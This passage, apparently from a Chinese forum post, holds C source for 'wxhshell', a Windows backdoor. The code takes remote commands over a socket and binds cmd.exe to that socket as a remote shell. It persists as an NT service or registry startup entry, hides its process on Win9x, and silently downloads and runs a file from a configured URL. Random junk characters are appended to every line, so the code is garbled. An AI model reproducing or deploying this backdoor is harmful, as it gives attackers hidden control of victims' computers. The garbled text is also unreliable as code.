  else { |2 YubAIZ(  
WNn[L=f  
    switch(cmd[0]) { BrlzN='j}  
  gnQo1q{ 4  
  // 帮助 n) _dH/"  
  case '?': { Ge^zX$.'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @pF fpHq?>  
    break; lC'{QUC  
  } |+Hp+9J  
  // 安装 b)on A|  
  case 'i': { ,67"C2Y  
    if(Install()) }J ei$0x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &=F-moDD  
    else ]^J+-c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); heE}_,$|  
    break; f7XQ~b  
    } 7|&e[@B  
  // 卸载 :]P~.PD5,  
  case 'r': { <Rcu%&;i  
    if(Uninstall()) YCa@R!M*O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qP~WEcH`[  
    else _GVE^yW~z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B.89_!/:p  
    break; f4]N0  
    } /y}"M  
  // 显示 wxhshell 所在路径 #O2wyG)oU  
  case 'p': { QWrIa1.JC  
    char svExeFile[MAX_PATH]; 3lo;^KX !  
    strcpy(svExeFile,"\n\r"); aWyUu/g<A`  
      strcat(svExeFile,ExeFile); :P3{Nxa  
        send(wsh,svExeFile,strlen(svExeFile),0); /b{o3, #.M  
    break; `W@T'T"  
    } F%xK"l`&  
  // 重启 Og,Y)a;=  
  case 'b': { O0^?f/&k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q@(1Yivk  
    if(Boot(REBOOT)) 6cM<>&e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rh@r\ H@j  
    else { f|OI`  
    closesocket(wsh); 4-mVB wq  
    ExitThread(0); \ht ?G n  
    } aF!Ex  
    break; !; IJ   
    } >lrhHU  
  // 关机 cv}aS_`f  
  case 'd': { P0^c?s"I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I%oRvg|q  
    if(Boot(SHUTDOWN)) AXs=1  e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MDJc[am  
    else { pz{'1\_+9  
    closesocket(wsh); Yu'a<5f  
    ExitThread(0); ~g6"'Cya?k  
    } ~W<CE_/]k  
    break; \)OEBN`9#  
    } )l&D]3$6K  
  // 获取shell av-#)E  
  case 's': { F/>*If s  
    CmdShell(wsh); H+ lX-,  
    closesocket(wsh); owvS/"@  
    ExitThread(0); 'BY-OA#xJ  
    break; Y;Ap9i*  
  } )0^ >#k  
  // 退出 d+;gw*_Ei  
  case 'x': { =!BobC- [b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \q "N/$5{f  
    CloseIt(wsh); C-m*?))go  
    break; =.*98  
    } /@hJpz|+   
  // 离开 0"78/6XIs  
  case 'q': { 3GF2eS$$P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /.Fj.6U5  
    closesocket(wsh); pj0fM{E  
    WSACleanup(); 03k?:D+5  
    exit(1); w7FoL  
    break; T dk ,&8  
        } 5+- I5HX|~  
  } 0w %[  
  } [84F0 9HU  
w\Mnu}<e$  
  // 提示信息 ye%iDdf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "7,FXTaer  
} MV0Lq:# N  
  } i%-Ld Ka}"  
#DFV=:|~  
  return;  Ow:1?Z{4  
} =Q<L eh=G  
['q&@_d7  
// shell模块句柄 FY'ty@|_s  
int CmdShell(SOCKET sock) P:C2G(V1AR  
{ /6K Il  
STARTUPINFO si; :K':P5i  
ZeroMemory(&si,sizeof(si)); geM6G$V&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; + H_WlYg-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hePPxKQ-  
PROCESS_INFORMATION ProcessInfo; CSTI?A"P  
char cmdline[]="cmd"; >9H@|[C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1u|V`J)0  
  return 0; ~+G#n"Pn  
} ~rD={&0  
f )Z%pgB  
// 自身启动模式 +G F#?X0^  
int StartFromService(void) zR;X*q"T$4  
{ -%CoWcGP  
typedef struct *Dmx&F=3,5  
{ )IL #>2n?  
  DWORD ExitStatus; <7_KeOLJ  
  DWORD PebBaseAddress; A"v{~  
  DWORD AffinityMask; 6KZf%)$  
  DWORD BasePriority; FV39QG4b4  
  ULONG UniqueProcessId; 'heJ"k?  
  ULONG InheritedFromUniqueProcessId; $wB^R(f@  
}   PROCESS_BASIC_INFORMATION; 23!;}zHp  
? "/ fPV-  
PROCNTQSIP NtQueryInformationProcess; 7nU6k%_%  
bzN-*3YE=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9BEFr/.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kq=V4-a[  
Lw1EWN6}_&  
  HANDLE             hProcess; :}:3i9e*2  
  PROCESS_BASIC_INFORMATION pbi; JAjmrX  
S~Z|PLtF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :O<bA& :d  
  if(NULL == hInst ) return 0; Z?P~z07  
Ny- [9S-<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); # ]?bLm<!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '*^yAlgtt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $2^`Uca  
7dG 79H  
  if (!NtQueryInformationProcess) return 0; $?G"GQ!.  
/ $  :j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )tHaB,  
  if(!hProcess) return 0; K,'*Dz  
._w8J"E5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K;hh&sTB  
9^"b*&>P  
  CloseHandle(hProcess); }?F`t[+  
%3q0(Xl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~\)qi=  
if(hProcess==NULL) return 0; u 's`*T@.  
oI:o"T77sA  
HMODULE hMod; do*}syQ`O  
char procName[255]; ml0.$z  
unsigned long cbNeeded; j"^ +oxH  
7(M(7}EKA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7]xm2CHx5  
 T9)nQ[  
  CloseHandle(hProcess); hz;|NW{u  
1g# #sSa6  
if(strstr(procName,"services")) return 1; // 以服务启动 ;*ix~taL%  
DFhXx6]  
  return 0; // 注册表启动 )VL96did  
} SG}V[Glk  
[ EFMu;q  
// 主模块 IK,|5]*Ar  
int StartWxhshell(LPSTR lpCmdLine) F' U 50usV  
{ E$9 Ys  
  SOCKET wsl; ^ -FX  
BOOL val=TRUE; QB.J,o*XD4  
  int port=0; CT0l!J~5m~  
  struct sockaddr_in door; />'V!iWyz  
Om{l>24i.\  
  if(wscfg.ws_autoins) Install(); xtPLR/Z  
+3s%E{  
port=atoi(lpCmdLine); *  tCS  
3lV^B[$  
if(port<=0) port=wscfg.ws_port; AL$&|=C-$  
D7Y)?Z5A;  
  WSADATA data; XwV'Ha  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8WE{5#oi  
gaA<}Tp,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s yU9O&<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  ^p n(=4  
  door.sin_family = AF_INET; vR0 ];{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2G$SpfeIu  
  door.sin_port = htons(port); m<L;  
$+.l*]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3@5=+z~CW  
closesocket(wsl); dU\%Cq-G)  
return 1; 0]D0{6x8  
} Ai D[SR  
XLMb=T~S  
  if(listen(wsl,2) == INVALID_SOCKET) { `eu9dLz H  
closesocket(wsl); 7'NwJ,$6\  
return 1; "[}O"LTQ  
} XeBP`\>Ve  
  Wxhshell(wsl); Sq:0w  
  WSACleanup(); E}%hz*Q)(  
P0 `Mdk371  
return 0; .z13 =yv  
099sN"kf  
} qj cp65^  
}I`a`0/  
// 以NT服务方式启动 p4VeRJk%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FI"`DMb}  
{ k6=nO?$  
DWORD   status = 0; ~b {Gz6u>  
  DWORD   specificError = 0xfffffff; npRS Ev  
eT2*W$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5SkW-+$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1Bxmm#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u&wiGwF[  
  serviceStatus.dwWin32ExitCode     = 0; ,vW:}&U  
  serviceStatus.dwServiceSpecificExitCode = 0; a<]B B$~  
  serviceStatus.dwCheckPoint       = 0; t4?DpE  
  serviceStatus.dwWaitHint       = 0; Ts~L:3oaQ  
> x IJE2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PqM1a oyX  
  if (hServiceStatusHandle==0) return; G%d (  
u4Em%:Xj  
status = GetLastError(); |p$spQ  
  if (status!=NO_ERROR) RmZ]" `  
{ ,^icPQSwc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !nAX$i~  
    serviceStatus.dwCheckPoint       = 0; 'mV9{lj7E  
    serviceStatus.dwWaitHint       = 0; \=>H6x]q  
    serviceStatus.dwWin32ExitCode     = status; %,ngRYxT#  
    serviceStatus.dwServiceSpecificExitCode = specificError; UwC=1g U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }B~If}7  
    return; ExRe:^yU\  
  } }jill+]  
ytNO*XoR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #pcP!  
  serviceStatus.dwCheckPoint       = 0; x`6<m!d`  
  serviceStatus.dwWaitHint       = 0; Hr$QLtr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s=42uKz  
} ^eoLAL  
XkyKBg-  
// 处理NT服务事件,比如:启动、停止 &IlU|4`R%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >3&O::]3  
{ 0@AAulRl  
switch(fdwControl) Ao/ jt<  
{ *}8t{ F@k  
case SERVICE_CONTROL_STOP: T9s2bC.z55  
  serviceStatus.dwWin32ExitCode = 0; c_elShK8#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N<DGw?Rl  
  serviceStatus.dwCheckPoint   = 0; +>4;Zd!@d  
  serviceStatus.dwWaitHint     = 0; K(q-?n`<  
  { rSrIEP,c'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >|;aIa@9  
  } VWO9=A*Y|  
  return; t:fFU1x  
case SERVICE_CONTROL_PAUSE: a5w:u5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *&f$K1p  
  break; D1 &A,2wO  
case SERVICE_CONTROL_CONTINUE: S%`0'lzzj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <^$<#K d  
  break; uIZWO.OdU  
case SERVICE_CONTROL_INTERROGATE: *E{2J:`  
  break; }*L(;r)q  
}; Qca&E`~Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9*a=iL*Nw  
} ."FuwKSJCo  
DY^;EZ!hb  
// 标准应用程序主函数 N$[{8yil^w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $LU"?aAW  
{ 2p " WTd  
73){K?R  
// 获取操作系统版本 ,TFIG^Dvq  
OsIsNt=GetOsVer(); h*v8#\b$J_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8]LD]h)B"  
 z^<"x |:  
  // 从命令行安装 o]opdw  
  if(strpbrk(lpCmdLine,"iI")) Install(); & \f{E\A#  
h2D>;k  
  // 下载执行文件 uS^Ipxe\  
if(wscfg.ws_downexe) { /3{b%0Aa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ih"XV  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gy(=706  
} ynrT a..  
->V<DZK  
if(!OsIsNt) { GP#aya  
// 如果时win9x,隐藏进程并且设置为注册表启动 )KAEt.  
HideProc(); 9th,VnD0  
StartWxhshell(lpCmdLine); cMOyo<F#^=  
} .p(T^ m2A*  
else Cid ;z  
  if(StartFromService()) 1 .6:#  
  // 以服务方式启动 ?[ lV-  
  StartServiceCtrlDispatcher(DispatchTable); L'kmNVvYN  
else >m$ 1+30X  
  // 普通方式启动 j{Q9{}<e  
  StartWxhshell(lpCmdLine); Ll4g[8  
v'3J.?N  
return 0; ruld B,n  
}
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只看该作者 1 发表于: 2006-10-10
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